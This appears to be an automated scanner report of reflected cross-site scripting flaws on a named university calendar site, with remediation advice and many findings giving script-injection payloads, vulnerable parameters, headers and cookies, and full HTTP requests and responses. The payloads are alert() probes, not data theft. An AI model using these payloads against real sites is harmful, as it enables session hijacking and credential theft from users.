Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organization. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organization which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organization in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitized.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the Referrer request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7f664"><script>alert(1)</script>5ec413213a8 was submitted in the Referrer parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
1.2. https://calendar.champlain.edu/CuteEditor/Template.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://calendar.champlain.edu
Path:
/CuteEditor/Template.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload efe4d"><script>alert(1)</script>b971236a51a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /CuteEditor/Template.aspx?efe4d"><script>alert(1)</script>b971236a51a=1 HTTP/1.1 Host: calendar.champlain.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private, max-age=31536000 Content-Length: 382 Content-Type: text/html; charset=utf-8 Expires: Tue, 25 Dec 2012 02:27:24 GMT Last-Modified: Mon, 26 Dec 2011 02:27:24 GMT Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 26 Dec 2011 02:27:24 GMT Connection: close
The value of the __EVENTVALIDATION request parameter is copied into the HTML document as plain text between tags. The payload d33a0<script>alert(1)</script>5ecc670e6ae was submitted in the __EVENTVALIDATION parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Cache-Control: private Content-Length: 4337 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 26 Dec 2011 02:26:48 GMT
<h1>Error In Page</h1><hr/>Error Message: The state information is invalid for this page and might be corrupted.<hr /><b>Stack Trace: </b><br/>System.Web.HttpException: The state information is invali ...[SNIP]... kcTnMvHqD/ptx1AVyPYp8D7kYdVEU8MHPBbn9fngizyVd3+sPaiOV5bJfd4JSMO6cANoJkzUS9sinKVBIZyTpjPju1QFlTK+KCXETZaWlk6kcZ7NRtxT5IECTceZ0xzU2biZWmuOLkAm8xJ704sh8oedad37oy2bJ1+BQTY+HOg6dPOW9zqwggJdgYhaiWwbuqjzqxWhGd33a0<script>alert(1)</script>5ecc670e6ae<br /> ...[SNIP]...
The value of the __VIEWSTATE request parameter is copied into the HTML document as plain text between tags. The payload 30a11<script>alert(1)</script>7ac22cca084d6aaca was submitted in the __VIEWSTATE parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
HTTP/1.1 200 OK Cache-Control: private Content-Length: 3702 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 26 Dec 2011 02:26:46 GMT
<h1>Error In Page</h1><hr/>Error Message: The state information is invalid for this page and might be corrupted.<hr /><b>Stack Trace: </b><br/>System.Web.HttpException: The state information is invali ...[SNIP]... <br /> ViewState: 30a11<script>alert(1)</script>7ac22cca084d6aaca<br /> ...[SNIP]...
The value of the __EVENTVALIDATION request parameter is copied into the HTML document as plain text between tags. The payload c07c1<script>alert(1)</script>af6c995bb3199fe50 was submitted in the __EVENTVALIDATION parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
HTTP/1.1 200 OK Cache-Control: private Content-Length: 4441 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 26 Dec 2011 02:26:45 GMT
<h1>Error In Page</h1><hr/>Error Message: The state information is invalid for this page and might be corrupted.<hr /><b>Stack Trace: </b><br/>System.Web.HttpException: The state information is invali ...[SNIP]... 6weXuDAKZgIq5CwKZgKK5CwKYgPK6CwKXgIK5CwKXgPq6CwKWgIq5CwKWgKK5CwKVgPK6CwKUgIK5CwKUgPq6CwKTgIq5CwLhytHeDgKl/bvfCALgyvHeDgLsrvKyBAL3i+uFDQKTgMoEAr+6x3sC+dLCkgEC6Krj8gsC8vWlvQ4kUa9vSxnfUx6k4C1QEK9lxlYYCg==c07c1<script>alert(1)</script>af6c995bb3199fe50<br /> ...[SNIP]...
The value of the __VIEWSTATE request parameter is copied into the HTML document as plain text between tags. The payload b453f<script>alert(1)</script>9d30d5ea474a3070b was submitted in the __VIEWSTATE parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
HTTP/1.1 200 OK Cache-Control: private Content-Length: 4176 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 26 Dec 2011 02:26:41 GMT
<h1>Error In Page</h1><hr/>Error Message: The state information is invalid for this page and might be corrupted.<hr /><b>Stack Trace: </b><br/>System.Web.HttpException: The state information is invali ...[SNIP]... 2MmVmZTdiZGQCAw8WAh8AaGQCCw8PFgIfAGhkZAIND2QWBAIDDw8WAh4EVGV4dAUFWnVtYmFkZAIJDxBkZBYBAgNkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBRljdGwwMCRwYyRTZXRBbGxPY2N1cmVuY2Vzr7at4lVx6ZcYwMwjzGyt7aBz5Xw=b453f<script>alert(1)</script>9d30d5ea474a3070b<br /> ...[SNIP]...
The value of the __EVENTVALIDATION request parameter is copied into the HTML document as plain text between tags. The payload a6cd2<script>alert(1)</script>1c33c0b629ace0842 was submitted in the __EVENTVALIDATION parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
HTTP/1.1 200 OK Cache-Control: private Content-Length: 4050 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 26 Dec 2011 02:08:44 GMT
<h1>Error In Page</h1><hr/>Error Message: The state information is invalid for this page and might be corrupted.<hr /><b>Stack Trace: </b><br/>System.Web.HttpException: The state information is invali ...[SNIP]... <br /> ViewState: /wEWBQL8xe26DQLx6L7SDQLq/fzoBAKPnNPUDwKzvr7CBUl4BfdmiXV7iPhNoNceFHvm9g1Ta6cd2<script>alert(1)</script>1c33c0b629ace0842<br /> ...[SNIP]...
The value of the __VIEWSTATE request parameter is copied into the HTML document as plain text between tags. The payload 69f80<script>alert(1)</script>e080239e87b75208f was submitted in the __VIEWSTATE parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
HTTP/1.1 200 OK Cache-Control: private Content-Length: 3809 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 26 Dec 2011 02:08:39 GMT
<h1>Error In Page</h1><hr/>Error Message: The state information is invalid for this page and might be corrupted.<hr /><b>Stack Trace: </b><br/>System.Web.HttpException: The state information is invali ...[SNIP]... kFgJmD2QWAgIDD2QWAgIDD2QWAgIBD2QWAgIBD2QWAmYPDxYCHgtOYXZpZ2F0ZVVybAUBL2QWAmYPDxYEHg1BbHRlcm5hdGVUZXh0ZR4KU3RvcmFnZUtleQUkZjM3ODFkMDktMzRjMC00MTIxLTgzNzYtNjhlM2U4NzE5ZmQ5ZGRkIVW2rezFdR4KAIlAxhUY3iYWbNs=69f80<script>alert(1)</script>e080239e87b75208f<br /> ...[SNIP]...
The value of the __EVENTVALIDATION request parameter is copied into the HTML document as plain text between tags. The payload 5fd85<script>alert(1)</script>3c919358ac7 was submitted in the __EVENTVALIDATION parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Cache-Control: private Content-Length: 4485 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 26 Dec 2011 01:59:06 GMT
<h1>Error In Page</h1><hr/>Error Message: The state information is invalid for this page and might be corrupted.<hr /><b>Stack Trace: </b><br/>System.Web.HttpException: The state information is invali ...[SNIP]... 4Oj+3m/J4yAioOKBDrHopOWcC/36nVp8d4C+Cwo/JMKj+H+hSun8MtiSjUunKke6JWEQB6QuqFk40njdqLlmGocdeexlfDoC4rREEHLrVYb7tKgOv6gAp2xuHFgU6OSy3ey5lXuO0uJmgdWeEY4HyCb2ozKifYF56KywGWO3VwNx/vJNuQwxGcV1FPqkEcm//xduW/g==5fd85<script>alert(1)</script>3c919358ac7<br /> ...[SNIP]...
The value of the __VIEWSTATE request parameter is copied into the HTML document as plain text between tags. The payload 94347<script>alert(1)</script>11a498b48d1 was submitted in the __VIEWSTATE parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Cache-Control: private Content-Length: 4265 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 26 Dec 2011 01:59:04 GMT
<h1>Error In Page</h1><hr/>Error Message: The state information is invalid for this page and might be corrupted.<hr /><b>Stack Trace: </b><br/>System.Web.HttpException: The state information is invali ...[SNIP]... wbkjdtBWOTf8rzAamx7ayeAAcNt3HNb/WeM+CnSnY3TqB57vuE6AGCcwwGCrHJ2akMxiRLltoKEAV6QXaIvmUthVMuaC5SFwB8vKGg3Bi05HWkkp7jdTrPhWNCRoEYmJKDSn9ZLLkbWvx/1kAL7CQikIFL/eqiqQzvp4aaXTgYvom5l4T6WhGO0CPmvsmEb2ZUJkFMEw=94347<script>alert(1)</script>11a498b48d1<br /> ...[SNIP]...
The value of the __EVENTVALIDATION request parameter is copied into the HTML document as plain text between tags. The payload e891c<script>alert(1)</script>1480e12177e was submitted in the __EVENTVALIDATION parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Cache-Control: private Content-Length: 4341 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 26 Dec 2011 02:09:56 GMT
<h1>Error In Page</h1><hr/>Error Message: The state information is invalid for this page and might be corrupted.<hr /><b>Stack Trace: </b><br/>System.Web.HttpException: The state information is invali ...[SNIP]... U1si2Q8X0KWOJF1qT00ANOSfcL7OUPv9cW93PUbc9tS3HrXkCy3khJud3GEzmPCfyBE1O9racA0JAg+RaBC1lLUO9zSMiWy+71bqwCRKQX2KrGowabGRKTdoXCPI2KHCfLV8fNNz69hN+ViUVHoc3Q/c9I/vl7ub1lITOTtFL5xGqp106vDjtbs+vqQTJfO3N0EqdsQ==e891c<script>alert(1)</script>1480e12177e<br /> ...[SNIP]...
The value of the __VIEWSTATE request parameter is copied into the HTML document as plain text between tags. The payload 43c6f<script>alert(1)</script>8949753c03a was submitted in the __VIEWSTATE parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Cache-Control: private Content-Length: 3581 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 26 Dec 2011 02:09:53 GMT
<h1>Error In Page</h1><hr/>Error Message: The state information is invalid for this page and might be corrupted.<hr /><b>Stack Trace: </b><br/>System.Web.HttpException: The state information is invali ...[SNIP]... <br /> ViewState: 43c6f<script>alert(1)</script>8949753c03a<br /> ...[SNIP]...
The value of the %27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0001BA request parameter is copied into the HTML document as plain text between tags. The payload 545f3<script>alert(1)</script>6d16f88edbe was submitted in the %27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0001BA parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /SystemCheck.aspx?%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0001BA545f3<script>alert(1)</script>6d16f88edbe HTTP/1.1 Host: calendar.champlain.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 116205 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 26 Dec 2011 02:27:29 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head id="Head1"><title> S ...[SNIP]... <td>%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0001BA545f3<script>alert(1)</script>6d16f88edbe</td> ...[SNIP]...
The value of the %27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0001BA)%3C/script%3E request parameter is copied into the HTML document as plain text between tags. The payload e6f99<script>alert(1)</script>528562cb29f was submitted in the %27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0001BA)%3C/script%3E parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the '%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3ealert(0x0001BA)%3c%2fscript%3e request parameter is copied into the HTML document as plain text between tags. The payload 1b238<script>alert(1)</script>7ff3d40b76f was submitted in the '%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3ealert(0x0001BA)%3c%2fscript%3e parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /SystemCheck.aspx?'%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3ealert(0x0001BA)%3c%2fscript%3e1b238<script>alert(1)</script>7ff3d40b76f HTTP/1.1 Host: calendar.champlain.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 116263 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 26 Dec 2011 02:27:29 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head id="Head1"><title> S ...[SNIP]... <td>'%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3ealert(0x0001BA)%3c%2fscript%3e1b238<script>alert(1)</script>7ff3d40b76f</td> ...[SNIP]...
1.16. https://calendar.champlain.edu/SystemCheck.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://calendar.champlain.edu
Path:
/SystemCheck.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload ec18e<script>alert(1)</script>ae736c5f47 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the sb request parameter is copied into the HTML document as plain text between tags. The payload bd276<script>alert(1)</script>ab984ae6cb2 was submitted in the sb parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the __VIEWSTATE request parameter is copied into the HTML document as plain text between tags. The payload aba61<script>alert(1)</script>d5bef6e99c2faab72 was submitted in the __VIEWSTATE parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
HTTP/1.1 200 OK Cache-Control: private Content-Length: 3908 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 26 Dec 2011 02:26:50 GMT
<h1>Error In Page</h1><hr/>Error Message: The state information is invalid for this page and might be corrupted.<hr /><b>Stack Trace: </b><br/>System.Web.HttpException: The state information is invali ...[SNIP]... CZg8PFgQeDUFsdGVybmF0ZVRleHRlHgpTdG9yYWdlS2V5BSRmZjQ1NDVmOC01ZmU3LTRmMWQtOTZmZi00YjdkYWMyYTdmNzFkZAILDw8WAh4HVmlzaWJsZWhkZAIND2QWBAIDDxYCHwNoZAIFD2QWAgIDD2QWAmYPDxYCHwNoZGRkgPqcPYXgK0F97xNAqJKtMUZSHy8=aba61<script>alert(1)</script>d5bef6e99c2faab72<br /> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7ce7b"><script>alert(1)</script>10fcdf475c1 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /CuteEditor/Template.aspx HTTP/1.1 Host: calendar.champlain.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=7ce7b"><script>alert(1)</script>10fcdf475c1
Response
HTTP/1.1 200 OK Cache-Control: private, max-age=31536000 Content-Length: 361 Content-Type: text/html; charset=utf-8 Expires: Tue, 25 Dec 2012 02:27:30 GMT Last-Modified: Mon, 26 Dec 2011 02:27:30 GMT Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 26 Dec 2011 02:27:29 GMT Connection: close
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 17213<script>alert(1)</script>5f8c308ab0 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload 2fb6b<script>alert(1)</script>5c4a28b8db3 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
The value of the ASP.NET_SessionId cookie is copied into the HTML document as plain text between tags. The payload 5cee3<script>alert(1)</script>ae0f693ba58 was submitted in the ASP.NET_SessionId cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the mycc_ss cookie is copied into the HTML document as plain text between tags. The payload fc340<script>alert(1)</script>7f57111a895 was submitted in the mycc_ss cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.